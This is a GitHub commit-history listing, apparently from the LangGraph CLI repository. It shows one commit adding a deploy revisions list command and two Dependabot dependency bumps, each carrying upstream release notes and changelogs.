Andrew NguonlyandGitHub	cc9acc1ba9	feat(cli): Add deploy revisions list command (#7142) ... ### Summary ``` % langgraph deploy revisions list f5bb6e58-e2ab-40b9-9855-d6dd6d1051b6 No LangSmith API key found. Create one at Settings > API Keys in LangSmith. Enter LangSmith API key: Revision ID Status Created At ------------------------------------ -------- --------------------------- fe05f163-58cf-4783-a918-0c78a8fab0c7 BUILDING 2026-03-12T20:47:14.626436Z 03c32fcf-544f-4517-a016-c7a7243b898d DEPLOYED 2026-03-12T20:30:09.199275Z 29605810-29cc-4110-ac05-d43e564827d0 DEPLOYED 2026-03-12T19:56:36.232427Z ```	2026-03-19 16:55:19 -07:00
4 people	1b671bd4bb	chore(deps): bump the all-dependencies group in /libs/cli/js-monorepo-example with 5 updates (#7192) ... Bumps the all-dependencies group in /libs/cli/js-monorepo-example with 5 updates: | Package | From | To | | --- | --- | --- | | [turbo](https://github.com/vercel/turborepo) | `2.8.14` | `2.8.17` | | [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.56.1` | `8.57.0` | | [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.56.1` | `8.57.0` | | [@langchain/core](https://github.com/langchain-ai/langchainjs) | `1.1.31` | `1.1.32` | | [@langchain/langgraph](https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core) | `1.2.1` | `1.2.2` | Updates `turbo` from 2.8.14 to 2.8.17 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/vercel/turborepo/releases">turbo's releases</a>.</em></p> <blockquote> <h2>Turborepo v2.8.17</h2> <!-- raw HTML omitted --> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.17-canary.16...v2.8.17">https://github.com/vercel/turborepo/compare/v2.8.17-canary.16...v2.8.17</a></p> <h2>Turborepo v2.8.17-canary.16</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>create-turbo</h3> <ul> <li>fix: Remove redundant online check from create-turbo by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12281">vercel/turborepo#12281</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.17-canary.15...v2.8.17-canary.16">https://github.com/vercel/turborepo/compare/v2.8.17-canary.15...v2.8.17-canary.16</a></p> <h2>Turborepo v2.8.17-canary.15</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Changelog</h3> <ul> <li>fix: Fix non-deterministic hashOfExternalDependencies with Bun lockfiles by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12279">vercel/turborepo#12279</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.17-canary.14...v2.8.17-canary.15">https://github.com/vercel/turborepo/compare/v2.8.17-canary.14...v2.8.17-canary.15</a></p> <h2>Turborepo v2.8.17-canary.14</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>create-turbo</h3> <ul> <li>fix: Replace dns.lookup with https.get for create-turbo online check by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12277">vercel/turborepo#12277</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.17-canary.13...v2.8.17-canary.14">https://github.com/vercel/turborepo/compare/v2.8.17-canary.13...v2.8.17-canary.14</a></p> <h2>Turborepo v2.8.17-canary.13</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Changelog</h3> <ul> <li>feat: Use task graph for <code>watch</code> by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12275">vercel/turborepo#12275</a></li> <li>fix: Use BTreeMap for bundled_deps in bun PackageIndex by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12266">vercel/turborepo#12266</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.17-canary.12...v2.8.17-canary.13">https://github.com/vercel/turborepo/compare/v2.8.17-canary.12...v2.8.17-canary.13</a></p> <h2>Turborepo v2.8.17-canary.12</h2> <!-- raw HTML omitted --> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/vercel/turborepo/commit/fd0e0f6d5737c719cddace93e72ee1e5aecae5b1"><code>fd0e0f6</code></a> publish 2.8.17 to registry</li> <li><a href="https://github.com/vercel/turborepo/commit/c921a26f3be7e6bd7abeee5086cf7da75a42c40e"><code>c921a26</code></a> release(turborepo): 2.8.17-canary.16 (<a href="https://redirect.github.com/vercel/turborepo/issues/12282">#12282</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/766dad44fa8a40ea1ac98407c4d5d96c8239a90e"><code>766dad4</code></a> fix: Remove redundant online check from create-turbo (<a href="https://redirect.github.com/vercel/turborepo/issues/12281">#12281</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/8fb7673def91f8678913ce07be0b4d02df53134b"><code>8fb7673</code></a> release(turborepo): 2.8.17-canary.15 (<a href="https://redirect.github.com/vercel/turborepo/issues/12280">#12280</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/bb1e1daeb6a74c131183f524f3f1870b60d6bd73"><code>bb1e1da</code></a> fix: Fix non-deterministic hashOfExternalDependencies with Bun lockfiles (<a href="https://redirect.github.com/vercel/turborepo/issues/12">#12</a>...</li> <li><a href="https://github.com/vercel/turborepo/commit/85719d6c1ef5fc83518561b91cb32e0a11135c12"><code>85719d6</code></a> release(turborepo): 2.8.17-canary.14 (<a href="https://redirect.github.com/vercel/turborepo/issues/12278">#12278</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/9b69f8c6780d727c1b506c890210b5d6646f14ca"><code>9b69f8c</code></a> fix: Replace dns.lookup with https.get for create-turbo online check (<a href="https://redirect.github.com/vercel/turborepo/issues/12277">#12277</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/5677b171206ecb9289ad8086f0c2a2a51219a1c0"><code>5677b17</code></a> release(turborepo): 2.8.17-canary.13 (<a href="https://redirect.github.com/vercel/turborepo/issues/12276">#12276</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/d1833fae79a937f894f18fc69c7fdefb800e2ebd"><code>d1833fa</code></a> fix: Use BTreeMap for bundled_deps in bun PackageIndex (<a href="https://redirect.github.com/vercel/turborepo/issues/12266">#12266</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/29bf4a564f58758c72348364c1db8b3f4cece196"><code>29bf4a5</code></a> feat: Use task graph for <code>watch</code> (<a href="https://redirect.github.com/vercel/turborepo/issues/12275">#12275</a>)</li> <li>Additional commits viewable in <a href="https://github.com/vercel/turborepo/compare/v2.8.14...v2.8.17">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/eslint-plugin` from 8.56.1 to 8.57.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/eslint-plugin</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.0</h2> <h2>8.57.0 (2026-03-09)</h2> <h3>🚀 Features</h3> <ul> <li><strong>eslint-plugin:</strong> [no-unnecessary-condition] allow literal loop conditions in for/do loops (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12080">#12080</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [strict-void-return] false positives with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12055">#12055</a>)</li> <li><strong>eslint-plugin:</strong> handle statically analyzable computed keys in prefer-readonly (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12079">#12079</a>)</li> <li><strong>eslint-plugin:</strong> guard against negative paramIndex in no-useless-default-assignment (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12077">#12077</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-promise-reject-errors] add allow <code>TypeOrValueSpecifier</code> to prefer-promise-reject-errors (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12094">#12094</a>)</li> <li><strong>eslint-plugin:</strong> [no-base-to-string] fix false positive for toString with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12089">#12089</a>)</li> <li><strong>typescript-estree:</strong> switch back to use <code>ts.getModifiers()</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12034">#12034</a>)</li> <li><strong>typescript-estree:</strong> if the template literal is tagged and the text has an invalid escape, <code>cooked</code> will be <code>null</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11355">#11355</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Brad Zacher <a href="https://github.com/bradzacher"><code>@​bradzacher</code></a></li> <li>Brian Schlenker <a href="https://github.com/bschlenk"><code>@​bschlenk</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>fisker Cheung <a href="https://github.com/fisker"><code>@​fisker</code></a></li> <li>James Henry <a href="https://github.com/JamesHenry"><code>@​JamesHenry</code></a></li> <li>Josh Goldberg</li> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Moses Odutusin <a href="https://github.com/thebolarin"><code>@​thebolarin</code></a></li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Younsang Na <a href="https://github.com/nayounsang"><code>@​nayounsang</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md"><code>@​typescript-eslint/eslint-plugin</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.0 (2026-03-09)</h2> <h3>🚀 Features</h3> <ul> <li><strong>eslint-plugin:</strong> [no-unnecessary-condition] allow literal loop conditions in for/do loops (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12080">#12080</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [no-base-to-string] fix false positive for toString with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12089">#12089</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-promise-reject-errors] add allow <code>TypeOrValueSpecifier</code> to prefer-promise-reject-errors (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12094">#12094</a>)</li> <li><strong>typescript-estree:</strong> if the template literal is tagged and the text has an invalid escape, <code>cooked</code> will be <code>null</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11355">#11355</a>)</li> <li><strong>eslint-plugin:</strong> guard against negative paramIndex in no-useless-default-assignment (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12077">#12077</a>)</li> <li><strong>eslint-plugin:</strong> handle statically analyzable computed keys in prefer-readonly (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12079">#12079</a>)</li> <li><strong>eslint-plugin:</strong> [strict-void-return] false positives with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12055">#12055</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Brad Zacher <a href="https://github.com/bradzacher"><code>@​bradzacher</code></a></li> <li>Brian Schlenker <a href="https://github.com/bschlenk"><code>@​bschlenk</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>James Henry <a href="https://github.com/JamesHenry"><code>@​JamesHenry</code></a></li> <li>Josh Goldberg</li> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Moses Odutusin <a href="https://github.com/thebolarin"><code>@​thebolarin</code></a></li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Younsang Na <a href="https://github.com/nayounsang"><code>@​nayounsang</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/2c6aeeec238dfea860b9f3c146a55f8f49f15cf5"><code>2c6aeee</code></a> chore(release): publish 8.57.0</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/46bf066d3df4af9aa8804a383e0d6d407a8e79f0"><code>46bf066</code></a> docs(eslint-plugin): document no-unnecessary-condition limitation with object...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/f696dadfc37078efe4119ad2ab0609cde3e42766"><code>f696dad</code></a> chore: use pnpm catalog (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12047">#12047</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/2029c78dcbe11b7e750af588d3c47f1211f02798"><code>2029c78</code></a> fix(eslint-plugin): [no-base-to-string] fix false positive for toString with ...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/0f4f101a125487bc07db323288afb86d5247bc31"><code>0f4f101</code></a> fix(eslint-plugin): [prefer-promise-reject-errors] add allow `TypeOrValueSpec...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/53f473b7a8c46094623712ba69a627182d049a5b"><code>53f473b</code></a> fix(typescript-estree): if the template literal is tagged and the text has an...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/2291b81f99670319618192645519a056fdb94cf4"><code>2291b81</code></a> docs: minor grammar adjustment (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12112">#12112</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/fc5cd09de85600134ca0885ad5cdcedcddcd20ba"><code>fc5cd09</code></a> fix(eslint-plugin): guard against negative paramIndex in no-useless-default-a...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/adc2aad848fe1ac8044ba4a8d84daf8bb1939ced"><code>adc2aad</code></a> fix(eslint-plugin): handle statically analyzable computed keys in prefer-read...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/85badfffbf38730772afbffaa6d024592752664a"><code>85badff</code></a> fix(eslint-plugin): [strict-void-return] false positives with overloads (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12055">#12055</a>)</li> <li>Additional commits viewable in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.0/packages/eslint-plugin">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/parser` from 8.56.1 to 8.57.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/parser</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.0</h2> <h2>8.57.0 (2026-03-09)</h2> <h3>🚀 Features</h3> <ul> <li><strong>eslint-plugin:</strong> [no-unnecessary-condition] allow literal loop conditions in for/do loops (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12080">#12080</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [strict-void-return] false positives with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12055">#12055</a>)</li> <li><strong>eslint-plugin:</strong> handle statically analyzable computed keys in prefer-readonly (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12079">#12079</a>)</li> <li><strong>eslint-plugin:</strong> guard against negative paramIndex in no-useless-default-assignment (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12077">#12077</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-promise-reject-errors] add allow <code>TypeOrValueSpecifier</code> to prefer-promise-reject-errors (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12094">#12094</a>)</li> <li><strong>eslint-plugin:</strong> [no-base-to-string] fix false positive for toString with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12089">#12089</a>)</li> <li><strong>typescript-estree:</strong> switch back to use <code>ts.getModifiers()</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12034">#12034</a>)</li> <li><strong>typescript-estree:</strong> if the template literal is tagged and the text has an invalid escape, <code>cooked</code> will be <code>null</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11355">#11355</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Brad Zacher <a href="https://github.com/bradzacher"><code>@​bradzacher</code></a></li> <li>Brian Schlenker <a href="https://github.com/bschlenk"><code>@​bschlenk</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>fisker Cheung <a href="https://github.com/fisker"><code>@​fisker</code></a></li> <li>James Henry <a href="https://github.com/JamesHenry"><code>@​JamesHenry</code></a></li> <li>Josh Goldberg</li> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Moses Odutusin <a href="https://github.com/thebolarin"><code>@​thebolarin</code></a></li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Younsang Na <a href="https://github.com/nayounsang"><code>@​nayounsang</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md"><code>@​typescript-eslint/parser</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.0 (2026-03-09)</h2> <p>This was a version bump only for parser to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/2c6aeeec238dfea860b9f3c146a55f8f49f15cf5"><code>2c6aeee</code></a> chore(release): publish 8.57.0</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/f696dadfc37078efe4119ad2ab0609cde3e42766"><code>f696dad</code></a> chore: use pnpm catalog (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser/issues/12047">#12047</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/a09921e2de2e8790e6a803016b825815ca9409d8"><code>a09921e</code></a> chore: update vitest to 4.x (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser/issues/12071">#12071</a>)</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.0/packages/parser">compare view</a></li> </ul> </details> <br /> Updates `@langchain/core` from 1.1.31 to 1.1.32 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchainjs/releases"><code>@​langchain/core</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.32</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10330">#10330</a> <a href="https://github.com/langchain-ai/langchainjs/commit/26488b596f01b7b7fe2f1d97d07164e52365ade5"><code>26488b5</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): treat empty string tool call chunk IDs as missing during merge</p> <p>Fixed <code>_mergeLists</code> in message base to treat empty string <code>&quot;&quot;</code> IDs the same as <code>null</code>/<code>undefined</code> when merging tool call chunks. This fixes old completions-style streaming where follow-up chunks carry <code>id: &quot;&quot;</code> instead of <code>undefined</code>, which previously prevented chunks from being merged by index.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10167">#10167</a> <a href="https://github.com/langchain-ai/langchainjs/commit/ca826f6fecae6087bf0dee7781ee80b587396ec1"><code>ca826f6</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: implement type inference for tool streams</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10334">#10334</a> <a href="https://github.com/langchain-ai/langchainjs/commit/a602c42db75d7e7e01cab38b12e0b65b9c0cce95"><code>a602c42</code></a> Thanks <a href="https://github.com/maahir30"><code>@​maahir30</code></a>! - fix(core): add JSDoc docstrings to fakeModel builder API and export FakeBuiltModel</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10254">#10254</a> <a href="https://github.com/langchain-ai/langchainjs/commit/db7d017f7ce13cb937147aabcbfa3847d80bde9d"><code>db7d017</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(core): preserve thoughtSignature in array content during streaming with thinking models</p> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langchainjs/commit/b5b1eec6de2cccae8f01a2887c4c32b90db0f918"><code>b5b1eec</code></a> chore: version packages (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10273">#10273</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/59aed4c14f57efcce8fa4f7cdef0de46d2168c47"><code>59aed4c</code></a> chore: fix dependabot config (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10346">#10346</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/08ee4c682f992274c061f002bf6ed3fadce0754d"><code>08ee4c6</code></a> chore: reorganize community packages into libs/community/ (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10324">#10324</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/b7f63ea71709af8d7cc4549c75f0622c4bd9e453"><code>b7f63ea</code></a> chore: replace claude 3 haiku with claude haiku 4.5 in tests (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10322">#10322</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/d6535ca953b3d9b2a3b727c31120f6115d6ea4cb"><code>d6535ca</code></a> chore(deps): patch CVE-2025-68665 — override langchain to workspace version (...</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/8740fe4cf75239b0a3c5dae0e0ce23d4ddda4d0b"><code>8740fe4</code></a> chore: update changeset (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10344">#10344</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/baedc05290d4376f261c0dd1165724cc2039b0a8"><code>baedc05</code></a> fix: bump underscore to resolve CVE-2026-27601 (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10336">#10336</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/2418c6f18771460d5a4da4e6c1e44e4adb5e1705"><code>2418c6f</code></a> fix: bump tar override to &gt;=7.5.11 to resolve CVE-2026-29786, CVE-2026-31802 ...</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/c8c58406d71c994d29b25469a9f4db8cc0dfc3ee"><code>c8c5840</code></a> Fix optional chaining for candidateContent in reduce (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10319">#10319</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/bb00b82d51d8fba513c30a3a3ede463227cc73f0"><code>bb00b82</code></a> chore: bump simple-git to fix CVE-2026-28292 (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10331">#10331</a>)</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langchainjs/compare/@langchain/core@1.1.31...@langchain/core@1.1.32">compare view</a></li> </ul> </details> <br /> Updates `@langchain/langgraph` from 1.2.1 to 1.2.2 <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/blob/main/libs/langgraph-core/CHANGELOG.md"><code>@​langchain/langgraph</code>'s changelog</a>.</em></p> <blockquote> <h2>1.2.2</h2> <h3>Patch Changes</h3> <ul> <li>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/e051ef6aa8301f39badc9f496cbacef73bb4e2c4"><code>e051ef6</code></a>]: <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.0</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li>See full diff in <a href="https://github.com/langchain-ai/langgraphjs/commits/HEAD/libs/langgraph-core">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: John Kennedy <65985482+jkennedyvz@users.noreply.github.com>	2026-03-17 13:37:57 -07:00
3 people	3ea658dae9	chore(deps): bump the all-dependencies group in /libs/cli with 2 updates (#7199) ... Bumps the all-dependencies group in /libs/cli with 2 updates: [langgraph-sdk](https://github.com/langchain-ai/langgraph) and [ruff](https://github.com/astral-sh/ruff). Updates `langgraph-sdk` from 0.3.9 to 0.3.11 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraph/releases">langgraph-sdk's releases</a>.</em></p> <blockquote> <h2>langgraph-sdk==0.3.11</h2> <p>Changes since sdk==0.3.10</p> <ul> <li>chore(sdk-py): cron tz support (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7108">#7108</a>)</li> <li>release(langgraph): 1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7102">#7102</a>)</li> <li>chore(deps): bump the all-dependencies group across 1 directory with 3 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7072">#7072</a>)</li> </ul> <h2>langgraph-sdk==0.3.10</h2> <p>Changes since sdk==0.3.9</p> <ul> <li>chore: Add cache (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7092">#7092</a>)</li> <li>feat: type safe stream/invoke w/ proper output type coercion (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/6961">#6961</a>)</li> <li>release(langgraph) 1.0.10 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/6967">#6967</a>)</li> <li>release(checkpoint): 0.4.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/6966">#6966</a>)</li> <li>chore: add serde events (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/6954">#6954</a>)</li> <li>chore: update defaults (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/6953">#6953</a>)</li> <li>release: rc2 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/6949">#6949</a>)</li> <li>release: Candidate (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/6947">#6947</a>)</li> <li>docs(sdk-py): update auth docstrings to default-deny pattern (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/6933">#6933</a>)</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langgraph/commit/55219b23d8b6adc319fec5e2d2262106c05f4ed3"><code>55219b2</code></a> 0.3.11</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/8edbd39ad39f114fc466cba137e1906e4ef8659a"><code>8edbd39</code></a> Add optional encryption of checkpointer payloads (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/3852">#3852</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/4b0fd834d87808ccfb810973c871b8b01a6c47fe"><code>4b0fd83</code></a> Make it possible to implement a cipher that handles multiple protocols</li> <li><a 